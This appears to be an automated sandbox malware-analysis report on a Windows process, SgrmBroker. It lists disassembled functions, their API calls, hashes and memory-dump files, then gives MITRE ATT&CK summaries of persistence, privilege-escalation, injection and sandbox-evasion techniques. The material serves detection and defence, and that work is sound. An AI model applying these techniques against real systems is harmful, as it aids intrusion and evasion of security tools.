API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 284f0467a77bc4f605e16177d8e9475f95c948627949936a1b9038c7357cbbf8
Instruction ID: 878420bef214208796cde232563448f588e2d31005a8f805dc41444401ec5879
Opcode Fuzzy Hash: 284f0467a77bc4f605e16177d8e9475f95c948627949936a1b9038c7357cbbf8
Instruction Fuzzy Hash: 7E716766A05A8182E7559F16E4483BD67B2FF89BE4F444633CB6E866D0DF3CE4A5C300

Function 00007FF6D9DD8210 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6D9DD8332

Strings

MZx, xrefs: 00007FF6D9DD822F, 00007FF6D9DD82DA

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: AddressProc
String ID: MZx
API String ID: 190572456-2575928145
Opcode ID: e0ce3126c0ec86e077d6d75675942394944caefd053394c789b2ce584d65811c
Instruction ID: fabc9c9d338435e4347278b88e791059a515ba0ef5bf88951a06429d487d01b1
Opcode Fuzzy Hash: e0ce3126c0ec86e077d6d75675942394944caefd053394c789b2ce584d65811c
Instruction Fuzzy Hash: 1A41D262B1AF42C2FA569F869C0457D6791BF84BE0F1D4636DE1DCB784EE3CE4648A00

Function 00007FF6D9DBC170 Relevance: 9.1, APIs: 6, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FF6D9DBC223
GetModuleFileNameW.KERNEL32 ref: 00007FF6D9DBC231
GetLastError.KERNEL32 ref: 00007FF6D9DBC23D
GetLastError.KERNEL32 ref: 00007FF6D9DBC256
HeapFree.KERNEL32 ref: 00007FF6D9DBC2DD
GetLastError.KERNEL32 ref: 00007FF6D9DBC2F8

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ErrorLast$FileFreeHeapModuleName
String ID:
API String ID: 2130810879-0
Opcode ID: 329e5465cf36dad3e40d6bc9a0745c305f6f761a589be0d330fb658b25984a61
Instruction ID: 3e0813d54039822d1399bda32da9e91a6581aa21366a697d219677ed002b98f5
Opcode Fuzzy Hash: 329e5465cf36dad3e40d6bc9a0745c305f6f761a589be0d330fb658b25984a61
Instruction Fuzzy Hash: 7D41E562A08E4141FB606E7AE44833E66B0BB497E8F500332EE5DE77C1DE7CD561C600

Function 00007FF6D9DCF060 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32 ref: 00007FF6D9DCF077
GetLengthSid.ADVAPI32 ref: 00007FF6D9DCF084
CopySid.ADVAPI32 ref: 00007FF6D9DCF0BA
CopySid.ADVAPI32 ref: 00007FF6D9DCF0E0
GetLastError.KERNEL32 ref: 00007FF6D9DCF0EA
GetLastError.KERNEL32 ref: 00007FF6D9DCF106

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: CopyErrorLast$LengthValid
String ID:
API String ID: 2568129594-0
Opcode ID: e5d1a205fec4471ae0c871e2daceb5122ab26e8edb20701cfc6c749461f361bf
Instruction ID: c2aa45bd5acf3ec7816b9f2d5ce843e709268840c1c2a20c74b4256103bf32f8
Opcode Fuzzy Hash: e5d1a205fec4471ae0c871e2daceb5122ab26e8edb20701cfc6c749461f361bf
Instruction Fuzzy Hash: 58116361B09E4341FB956F17A9803BE66956F49FD0F04C13ADE8DDA791EE3CA4A29300

Function 00007FF6D9D17120 Relevance: 8.8, APIs: 7, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D17154
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D1716E
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D17188
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D171A2
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D171BC
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D171D9
HeapFree.KERNEL32(?,?,?,00007FF6D9D15B14), ref: 00007FF6D9D171F9

Part of subcall function 00007FF6D9D10EE0: HeapFree.KERNEL32 ref: 00007FF6D9D10F2C
Part of subcall function 00007FF6D9D10EE0: HeapFree.KERNEL32 ref: 00007FF6D9D10F44
Part of subcall function 00007FF6D9D10EE0: HeapFree.KERNEL32 ref: 00007FF6D9D10F5E

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 3ac6476be0c3b383947b5493cbede7b9f28472ce701b9c380af2de8f0d378277
Instruction ID: 67a9c8ad4e7c327cf23f8a7d5f60909e606afc4e48e634deb778d9789df94439
Opcode Fuzzy Hash: 3ac6476be0c3b383947b5493cbede7b9f28472ce701b9c380af2de8f0d378277
Instruction Fuzzy Hash: F531F066904E4182F368AF26E8843BD67A2FF89B54F445533DA4E976A0CF3CE4E5D300

Function 00007FF6D9DB9740 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9DB9963
HeapFree.KERNEL32 ref: 00007FF6D9DB9975
HeapFree.KERNEL32 ref: 00007FF6D9DB99E6
HeapFree.KERNEL32 ref: 00007FF6D9DB99F8

Strings

main, xrefs: 00007FF6D9DB9882

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID: main
API String ID: 3298025750-3207122276
Opcode ID: 0940b839725ae36b5a1ad9fbce4c34a275031e632e3d9234af1e099074fd8663
Instruction ID: cab9ee87cf6012626375fdf0eade33e240fb2e740caf3b5e2e1dda8cd7c7e30a
Opcode Fuzzy Hash: 0940b839725ae36b5a1ad9fbce4c34a275031e632e3d9234af1e099074fd8663
Instruction Fuzzy Hash: 8A813036A08E8181EA608F16E58437DA3B1EF89B98F544237DA9DC77A4DF3CE465C700

Function 00007FF6D9DBEE20 Relevance: 7.7, APIs: 5, Instructions: 186memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9DBEF33
HeapFree.KERNEL32 ref: 00007FF6D9DBEF45
HeapFree.KERNEL32 ref: 00007FF6D9DBEFAC
HeapFree.KERNEL32 ref: 00007FF6D9DBEFBE
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6D9DBEFF1

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$AddressSingleWake
String ID:
API String ID: 2995119335-0
Opcode ID: 421e2ceb116bf0c9edc8edd637012c73a9e06c37a358bdcd2894536ef235a773
Instruction ID: dc679c46131d283555c39764f5f2182b635d37fd3b66e5308521e46731cbe676
Opcode Fuzzy Hash: 421e2ceb116bf0c9edc8edd637012c73a9e06c37a358bdcd2894536ef235a773
Instruction Fuzzy Hash: AA617D22A08E4146EA509F16D98437D67B1FF88B98F494633DE4DC77A1CE3DE4A28381

Function 00007FF6D9DBA2C0 Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,0000000600000002,0000001A,00000000,?), ref: 00007FF6D9DBA346
WriteConsoleW.KERNEL32 ref: 00007FF6D9DBA385
GetLastError.KERNEL32 ref: 00007FF6D9DBA39F
WriteConsoleW.KERNEL32 ref: 00007FF6D9DBA40A
GetLastError.KERNEL32 ref: 00007FF6D9DBA414

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: ConsoleErrorLastWrite$ByteCharMultiWide
String ID:
API String ID: 1956605914-0
Opcode ID: 6727169349466a80a5377bb4e83f99f5f7794e299e60947d92bd081cc1b73e53
Instruction ID: 624ad2ba1ed766eed199514d078695da96e9307d1e2ffcd53945899dd6f82df4
Opcode Fuzzy Hash: 6727169349466a80a5377bb4e83f99f5f7794e299e60947d92bd081cc1b73e53
Instruction Fuzzy Hash: CF41E162E0C96246F7644E91A40837E66F1EF54B88F444233EE8EC7BD5DE7CE9A18740

Function 00007FF6D9CF5C80 Relevance: 6.4, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(?,00000003,?,?,?,00000000,00007FF6D9CF4991,?,?,?), ref: 00007FF6D9CF5CAC

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: dbf54df03c0e716c8f26d17db86b7577dfb163276607b0301c6c03ca70ee8d67
Instruction ID: e2b76f65a24ddf610d175f0418ca4aeb8b5d41ed5cea4c88adc6b587f79228f5
Opcode Fuzzy Hash: dbf54df03c0e716c8f26d17db86b7577dfb163276607b0301c6c03ca70ee8d67
Instruction Fuzzy Hash: 12618122A1EA8182E6619F56E84427D6771FB88BE8F944237DF1D877D4DF3CE4619300

Function 00007FF6D9D01040 Relevance: 6.4, APIs: 5, Instructions: 149memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9D0366B
HeapFree.KERNEL32 ref: 00007FF6D9D03685
HeapFree.KERNEL32 ref: 00007FF6D9D0369F
HeapFree.KERNEL32 ref: 00007FF6D9D036B9
HeapFree.KERNEL32 ref: 00007FF6D9D036D3

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 39c0f06d200843a77e232f636d18a5ad1324365d2fb5ad49983b5a976bbe5905
Instruction ID: 99bb28d7fe50ea48536a58d525d7a2dd4e66a4d080b1e49ce8b75513d1b0b240
Opcode Fuzzy Hash: 39c0f06d200843a77e232f636d18a5ad1324365d2fb5ad49983b5a976bbe5905
Instruction Fuzzy Hash: 36516131A09A4282F7659F22E4803BD67A1EF89B94F444536DA8E877D5DF3CE4A1C700

Function 00007FF6D9CF3FC0 Relevance: 6.4, APIs: 5, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9CF4020
HeapFree.KERNEL32 ref: 00007FF6D9CF409B
HeapFree.KERNEL32 ref: 00007FF6D9CF40B8
HeapFree.KERNEL32 ref: 00007FF6D9CF40D4
HeapFree.KERNEL32 ref: 00007FF6D9CF40FA

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 243a0f7842a5e05cbb415c07ab7c271283c2bb5c95327b3d0d17a2ff07a4d1b7
Instruction ID: 06b2dabb5d335c4b47a7bd0e90d4e8c93b11cbbac3bfd7bd01ad371a7d7d1974
Opcode Fuzzy Hash: 243a0f7842a5e05cbb415c07ab7c271283c2bb5c95327b3d0d17a2ff07a4d1b7
Instruction Fuzzy Hash: 97414B22A0AA4292E6559F16E94467E67B0FF88BD8F484433DE5E87791CF3CE4A1C300

Function 00007FF6D9DB9B50 Relevance: 6.1, APIs: 4, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9DB9CD1
HeapFree.KERNEL32 ref: 00007FF6D9DB9CE3
HeapFree.KERNEL32 ref: 00007FF6D9DB9D03
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF6D9DB9D62

Part of subcall function 00007FF6D9DB9DC0: HeapFree.KERNEL32 ref: 00007FF6D9DB9DE6

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap$AddressSingleWake
String ID:
API String ID: 2995119335-0
Opcode ID: e0027cba70901082cc4d4abf9cd1ee81cc6d3d09a77482d2cf3a9a915a8bc024
Instruction ID: 25ff8a639801291c1fdbf5afb2c4b113ce7ace53b0e36c1b20fa66dee3e2e971
Opcode Fuzzy Hash: e0027cba70901082cc4d4abf9cd1ee81cc6d3d09a77482d2cf3a9a915a8bc024
Instruction Fuzzy Hash: 9D611521D0DE9681FBA19F26E88037D27B0AF58B5CF554237D90DC32E5CF2DA4A68340

Function 00007FF6D9DD4674 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6D9DD46A0
GetCurrentThreadId.KERNEL32 ref: 00007FF6D9DD46AE
GetCurrentProcessId.KERNEL32 ref: 00007FF6D9DD46BA
QueryPerformanceCounter.KERNEL32 ref: 00007FF6D9DD46CA

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9741ba447e07edec4c5e1c588e2ac751daa5eb8f6c8adf5e6306aa306bcd0db3
Instruction ID: 39382dcd53ce4b086604e36e4922c124032f677b35b15a8e77848a4768b3056c
Opcode Fuzzy Hash: 9741ba447e07edec4c5e1c588e2ac751daa5eb8f6c8adf5e6306aa306bcd0db3
Instruction Fuzzy Hash: 40115E22A04F418BEB50CF61E8942B833A4FB5DB58F441A36EA5D877A4DF3CD5A88340

Function 00007FF6D9D05E30 Relevance: 5.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 00007FF6D9D05E51
HeapFree.KERNEL32 ref: 00007FF6D9D05E9C
HeapFree.KERNEL32 ref: 00007FF6D9D05EB4
HeapFree.KERNEL32 ref: 00007FF6D9D05ECE

Memory Dump Source

Source File: 00000018.00000002.2577750077.00007FF6D9CF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9CF0000, based on PE: true

Associated: 00000018.00000002.2577685256.00007FF6D9CF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578070189.00007FF6D9DE9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578261861.00007FF6D9E5A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578324999.00007FF6D9E5C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000018.00000002.2578402199.00007FF6D9E63000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff6d9cf0000_SgrmBroker.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 17d661b32cb9be3543c2e221b25bd98a96f04add73e29abb7685b564963cab7f
Instruction ID: a377df89bdeb5ce25c55df806a014aefaa1e5dcc77adc79d7de660a9e21cd121
Opcode Fuzzy Hash: 17d661b32cb9be3543c2e221b25bd98a96f04add73e29abb7685b564963cab7f
Instruction Fuzzy Hash: 4521F166A09E4182FB659F57E48437D6BA1FF88BA4F444533CE8D86690DF3CE4A6D300

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

